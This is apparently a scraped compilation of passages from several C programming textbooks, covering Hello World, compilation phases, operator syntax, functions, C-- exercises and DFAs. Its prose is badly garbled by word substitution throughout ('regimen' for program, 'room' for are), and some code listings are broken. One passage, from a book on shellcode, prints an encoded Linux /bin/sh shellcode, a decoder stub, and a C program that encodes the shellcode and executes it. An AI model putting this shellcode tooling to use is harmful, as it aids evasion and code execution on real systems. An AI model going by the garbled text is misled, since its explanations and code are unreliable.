9.4 Examples

9.4.1 Averages program

C regimen 9.1 and Pascal regimen 9.2 use text documents to determine the average value of a number of floating point values included in a file. The get_values() role is supplied to review the values from a file, in this case, IN.DAT.

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9.4.2 Binary read/write

C program 9.2 and also Pascal routine 9.3 is an example of how variety of floating point values is created to a binary file. In the C program the floating point values space writen utilizing fwrite() and then read earlier using fread(). Note that the NOFILE flags returned from dump_data() and also read_data() room ignored through main(). In the Pascal program the values are written come the paper using write and also read utilizing the check out routine.


Ian Grout, in Digital Systems design with FPGAs and also CPLDs, 2008

4.2.2 C


Consider an instance of the “Hello World” regime written in C. Figure 4.2 reflects the program resource code and also the corresponding line numbers are included for information purposes only.


This routine introduces a variety of features that C. The very first three lines space comments. A comment is a piece of code that is ignored by the C compiler. Comments are used to include useful descriptions of the functionality of the source code, and allow easier analysis of the resource code by the author and also by readers. Cautious and an extensive commenting that the program source code is vital to great programming practice.

The fourth, sixth, and tenth lines room left blank for readability purposes.

The fifth line is a directive to the C preprocessor. Present that start with the number sign, # (also dubbed a hash character), space processed by the C preprocessor before the regime is compiled.

The seventh heat is the beginning of the program and also is known as the main function. A C program is essentially a number of functions that interact with each other in a predefined manner. In ~ the finish of this heat is an opening curly bracket, , and also on the last heat is a closeup of the door curly bracket,. Curly brackets are provided to team a variety of statements together. In this case, castle are provided to mark the beginning and also the end of the program, but they can also be provided to team statements the are component of various other statements such together an if explain or a while statement.

The eighth heat is the statement the outputs info using the printf statement. Any kind of text that shows up between the quotation marks, “”, will certainly be printed to the standard output (i.e., the computer system display screen). The critical two characters of the printf statement room ∖n. This shows a new line.

The last three lines room comments.


C program development requires a program breakthrough environment, the language, and also a C standard library. The program advance environment gives the software application toolset to allow the designer to go into the design software source code, to undertake the phases important for the resource code to the executed, to accommodate task management, and also to allow suitable software code debugging tools. C programs room executed in 6 phases:

1.2.

Preprocessing is undertaken prior to program compilation and also uses specific preprocessor directives that recognize needed actions. Together actions incorporate the instead of of particular text characters within the resource code and also the consist of of other files include the resource code file.

3.

Compilation uses a compiler routine to translate the C resource code into an equipment language password (also referred to as object code) for the certain processor supplied in the computer system system on i beg your pardon the routine will run.

4.

Linking: C programs usually include references come functions identified elsewhere in ~ libraries of functions developed elsewhere. The object code developed by the C compiler, then, save on computer gaps for the referenced functions. A linker links the thing code with the password for the referenced features to develop an executable image that have the right to then it is in run.

5.

Loading locations the executable photo in memory for execution.

6.

Execution runs (executes) the executable picture on the processor supplied in the computer system on which the regime will run.


A C resource code document carries the document extension “.c.”


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C:Program FilesMicrosoft visual Studio 8VC > dumpbin

Microsoft (R) COFF/PE Dumper variation 8.00.50727.42

usage: DUMPBIN

 options:

 /ALL

 /ARCHIVEMEMBERS

 /CLRHEADER

 /DEPENDENTS

 /DIRECTIVES

 /DISASM<:BYTES>

 /ERRORREPORT:SEND

 /EXPORTS

 /FPO

 /HEADERS

 /IMPORTS<:filename>

 /LINENUMBERS

 /LINKERMEMBER <:1 >

 /LOADCONFIG

 /OUT: filename

 /PDATA

 /PDBPATH<:VERBOSE>

 /RANGE:vaMin<,vaMax>

 /RAWDATA<:1 <, #> >

 /RELOCATIONS

 /SECTION: name

 /SUMMARY

 /SYMBOLS

 /TLS

 /UNWINDINFO


Porting C program records is much less complicated than porting assembly files. In most cases, application password in C have the right to be recompiled because that the Cortex-M3 without a problem. However, there are still a couple of areas the potentially require modification, which room as follows:

Inline assemblers: part C program code might have inline assembly code that requirements modification. This code can be quickly located via the __asm keyword. If RealView advance Suite (RVDS)/RealView Compilation devices (RVCT) 3.0 or later is used, it should be readjusted to embedded Assembler.

Interrupt handler: In the C regimen you deserve to use __irq to create interrupt handlers that work with the ARM7. Due to the difference in between the ARM7 and also the Cortex-M3 interrupt behaviors, such as conserved registers and interrupt returns, depending on breakthrough tools being used, the __irq keyword can need to be removed. (However, in ARM development tools consisting of RVDS and RVCT, support for the Cortex-M3 is included to the __irq, and also use of the __irq directive is encourage for factors of clarity.)


ARM C compiler pragma directives choose “#pragma arm” and also “#pragma thumb” have to be removed.


Kaare Christian, in Encyclopedia the Physical science and an innovation (Third Edition), 2003

III.D Operator-Rich Syntax

C has the normal assortment the numeric operators, add to some added operators, such together the operators for pointers, the assignment operators, the increment/decrement operators, the comma operator, and also the conditional operator. With simply this rich set of operators, C could be taken into consideration to have actually an operator-rich syntax.

But C go one step further. The considers the expression to it is in a kind of statement, which makes it possible to put an expression any place a statement is expected. For example, c++ is a finish statement that uses the increment operator (the ++ operator) come the variable called c.


C programs take on a really dense appearance when assignment statements are used in the control expressions the loops and if statements. For example, the complying with snippet of code is extremely common.

int ch;

while ((ch = getchar()) != EOF)

;


The manage expression the this if loop call getchar to read in a character, assigns that character to the ch variable, and also then runs the body of the loop (which in the above example is empty, causing the above code to review in and ignore every one of the input). The loop terminates when getchar return the worth EOF (end of file; a symbolic consistent that is identified in the stdio.h encompass file).


Another common technique is to use the reminder increment and decrement operator in a loop manage expression. For example, the adhering to loop copies the string pointed come by p come the place pointed at by q (p and q room both pointers to characters).

while (*q++ = *p++)

;


Note the the actual human body of the loop is empty, the only activity is in the regulate expression of the if statement. When the terminating null of the string is copied, the manage expression becomes false, i beg your pardon terminates the loop.


Another aspect of C that renders it possible to construct affluent expressions is short-circuit expression evaluation. Most C operators have actually a guarantee expression testimonial order, i m sorry is left to best for many arithmetic and comparison operators. In addition, C promises that logical expressions will only be evaluate far sufficient to determine the outcome. As presented in Table III, the operator ∥ method OR and the operator && method AND. Thus, the expression

p && q

means p and q. According to the rules of Boolean logic, the result will it is in TRUE just if both p and q are TRUE. Once the regime is running, if the p component turns the end to it is in FALSE, climate the result of the whole expression is immediately known to it is in FALSE, and also in this case the q component will no be evaluated.


Similarly, the expression

p || q

means p OR q. In this case, follow to the rules of Boolean logic, the result will be TRUE if either the p or q part is TRUE. As soon as the regime is running, if the p part turns out to be TRUE, climate the an outcome is instantly known to be TRUE, and also in this situation the q part will no be evaluated, due to the fact that C offers short circuit expression evaluation.


The adhering to code fragment is an instance of just how short-circuit review is frequently used. In it, a guideline is compared with the attend to of the finish of an array to make certain that the pointer has not advanced past the finish of the array. If the reminder is in bounds, only then is it used to accessibility an article in the array.

if ((p


Without the short-circuit expression insurance made by the C language, this expression would need to be written as 2 expressions, so the the reminder would not be dereferenced when it was pointing external the border of the array. (Dereferencing one out-of-bounds reminder can reason disastrous routine failures.)

In every one of these examples (and in the instances of the conditional operator and also comma operator in section I.C), C's operator-rich syntax has actually made it possible to express several things in simply one or two lines, a advantage or shortcoming depending on your viewpoint.


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Tim Wilmshurst, in creating Embedded solution with PIC Microcontrollers (Second Edition), 2010

14.2.5 The C function

C programs space structured native ‘functions’. Every regime must have actually at least one function, called ‘main’. Regimen execution starts v this duty and the regime is consisted of within it.

Apart native the main function, features are in some ways comparable to Assembler subroutines. Lock are supplied in a similar way, usually to save an identifiable routine action. Good program frameworks tend to have actually much the the program had within functions, with the main duty calling subsidiary ones. Any function may speak to another.

What distinguish a C duty from one Assembler subroutine is the control exercised in exactly how data is passed between calling program and function. Data elements, called ‘arguments’, have the right to be passed to a function. Lock must, however, it is in of a kind which is asserted in advance. Only one return change is allowed, whose data form must likewise be declared. The data passed to the variable is a ‘copy’ the the original. Therefore, the role does not itself modify the value of the variable named. The affect of the duty should for this reason be predictable and controlled. The ax ‘parameter’ is frequently used in place of ‘argument’. Distinction between the two terms is do in detailed specifications of the C language. In this chapters we will, however, use them interchangeably.


A role is identified in a regimen by a block of password having certain characteristics. Its an initial line develops the duty header. The function header indigenous the example program, shown in number 14.1, illustrates the general format:


The return kind is offered first. In this example, the keyword void is provided to show that there is no return worth expected. This is typical practice because that the main function – after ~ all, to whereby or what would certainly it return a value? after the role name, in brackets, one or much more data types may be listed, which determine the disagreements which should be happen to the function. In this instance (again as might be supposed with main) there space no disagreements transferred and also the keyword void is again offered to suggest this.

Following the role header, a pair of braces encloses the password which makes up the duty itself. This can be anything native a solitary line to many pages. The final statement the the duty may it is in a return, which will certainly specify the value went back to the call program. This is not important if no return value is required.

It can be seen that, for clarity, the regime is laid the end so that the braces i m sorry enclose the main function are aligned fully left and also the braces comprise the while statement are indented.

In Program instance 14.1 the main duty is the just one. A number of further worries arise when multiple features are used. These are presented in later chapters.


1.

Write C-- programs to acknowledge the complying with patterns in a string:(a)01

(b)

hey

(c)

ababa

Implement this C-- programs as C programs, and also test castle on a variety of positive and an unfavorable examples.

2.

In each situation write a C-- regimen to identify strings that do not save on computer the mentioned pattern:(a)01

(b)

1101

(c)

toto

Implement these C-- programs together C programs, and test them on a variety of positive and an adverse examples.

3.

Prove the in a C-- regime it is impossible to increment s forever.

4.

What if you restricted C-- further to enable only one occurrence of a move statement? How powerful is this version of C--?

5.

Suppose that you restrict the variety of the creature constants that can be supplied in a C-- program. Walk this border what can be computed by a C-- program?

6.

Write a C-- program that detects intake strings the contain either the native “ontop” or “toronto”.

7.

A string of 0's and 1's has actually k-parity if the number of 1's it includes is 0 modulo k. for example, even parity is 2-parity The wire 1101 has actually 3-parity however not 2-parity. Given a consistent k, define how to build a C-- program that computes the k-parity of its input.

8.

How carry out you build a longest running program? that is, offered n different feasible values for s, and also an entry of length m, exactly how long have the right to a C-- program run and also still ultimately stop?

9.

Write a regimen in C (or any type of other language) that takes no input, walk no file I/O various other than composing to traditional output, and writes the own source text to traditional output. The is, as soon as the regimen is run, that prints chin out.


James C. Foster, Mike Price, in Sockets, Shellcode, Porting, & Coding, 2005

Analysis

The 0 at heat 8 has to be replaced by the exploit at runtime and also should represent the size of the encoded shellcode. The 0 at line 10 additionally has to be filled in by the make use of at runtime and should represent the random value that was provided to encode the shellcode. We’ll discuss later just how this can be done.

The ok: label at heat 16 is offered to reference the encoded (at a later stage decoded) shellcode. We have the right to do this since the decoder is to be placed exactly in former of the shellcode, like in the following:

The decoder supplies the jmp/call technique to acquire a tip to the shellcode in the ESI register. Utilizing this pointer, the shellcode have the right to be manipulated byte by byte till it is entirely decoded.The decoding happens in a loop dubbed “change”. Prior to the loop starts, we keep the length of the shellcode in the CL it is registered (line 8). Every time the loop cycles, the value in CL is reduced by one (line 11). As soon as CL becomes zero, the JNZ indict (Jump if not Zero) is no much longer executed, with the an outcome being the the loop finishes. In ~ the loop, us subtract the byte used to encode the shellcode indigenous the byte located at counter ECX — 1 native the shellcode guideline in ESI. Because ECX includes the cable size and also is reduced by one every bike of the loop, every byte that the shellcode is decoded.

Once the shellcode is decoded, the “jmp short ok” instruction is executed. The decoded shellcode is at the place ok: and the jump will cause that shellcode to it is in executed.

If us compile the decoder and convert it into hexadecimal characters, it will certainly look choose this:

char shellcode<> =

“xebxl0x5ex31xc9xblx00x80x6cx0exffx00xfexc9x75”

“xf7xebx05xe8xebxffxffxff”;

Remember the the an initial NULL byte has to be changed by the make use of with the size of the encoded shellcode, when the second NULL byte needs to be replaced with the worth that was supplied to encode the shellcode.


The C routine in example 9.24 will certainly encode the Linux execve /bin/sh shellcode example that was given. It will then change the decoder by adding the dimension of the encoded shellcode and the value offered to encode all bytes. The routine then places the decoder in prior of the shellcode, prints the result to stdout, and executes the encoded shellcode.


*
Example 9.24

Decoder Implementation Program

1 #include

2#include

3#include

4

5int getnumber(int quo)

6

7int seed;

8struct timeval tm;

9gettimeofday( &tm, NULL );

10seed = tm.tv_sec + tm.tv_usec;

11srandom( seed);

12return (random() % quo);

13

14

15void execute(char *data)

16

17int *ret;

18ret = (int * ) &ret + 2;

19(*ret) =(int)data;

20)

21

22void print_code(char *data)

23

24int i,l = 15;

25printf(“ char code<> = ”);

26

27for (i = 0; ns

28if (1 >= 15)

29if (i)

30printf(“” ”);

31printf(“ ”“) ;

321= 0;

33

34++1;

35printf(“\x%02x”,((unsigned char *)data));

36

37printf(“”; “);

38 39

40int main()

41

42char shellcode <> =

43“x31xc0x99x52x68x2fx2fx73x68x68x2fx62x69x6ex89“

44“xe3x50x53x89xelxb0x0bxcdx80“;

45

46char decoder<> =

47“xebxl0x5ex31xc9xblx00x80x6cx0exffx00xfexc9x75”

48“xf7xebx05xe8xebxffxffxff”;

49

50int count;

51int number = getnumber(2 00);

52int nullbyte = 0;

53int ldecoder;

54int lshellcode = strlen(shellcode);

55char *result;

56

57printf(“Using the value: %d come encode the shellcode ”,number);

58

59decoder<6> += lshellcode;

60decoder + = number;

61

62ldecoder = Strien(decoder);

63

64do

65if(nullbyte == 1)

66number = getnumber(10) ;

67decoder<11> += number;

68nullbyte = 0;

69)

70for(count = 0 ;count

71 shellcode+- number ;

72if(shellcodefcount>==‘’)

73nullbyte = 1;

74

75

76 while(nullbyte == 1);

77

78result = malloc(lshellcode + ldecoder);

79strcpy(result,decoder) ;

80strcat (result, shellcode) ,-

81print_code(result);

82execute(result);

83


Raymond Greenlaw, H. James Hoover, in Fundamentals of the theory of Computation: Principles and also Practice, 1998

4.6 Equivalence of DFAs and C-- Programs

Let's go back to the C-- programs of troubles 1 come 3 in chapter 1. For any type of given program, there space a fixed number of statements that assign come the state variable s, and thus s can take on only a finite variety of values. The actual changes in s are thrust by the personalities read indigenous the input. For this reason C-- program look an extremely much choose finite-state machines. In fact, the 2 models room equivalent, in that any DFA have the right to be convert (compiled) into a C-- program, and any C-- program deserve to be converted right into a DFA.

Converting a DFA M come a C-- routine is straightforward: worths of s exchange mail to claims in M, and also there is a instance for every feasible state. Within each state case, over there is a case for every feasible symbol being read. This is specifically how the program Parity of problem 2 is constructed.

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Converting a C-- routine to a DFA is a little bit trickier, because not every C-- program has actually the nice framework of the same program. Rather you have to employ an argument similar to the discussion in trouble 3 to characterize what the C-- routine does throughout the time between passes of the inspection point. The an outcome is that you deserve to view the C-- routine as making a solitary state shift between any type of two passes of the inspection point, but this shift is labeled by a string, not just an individual symbol.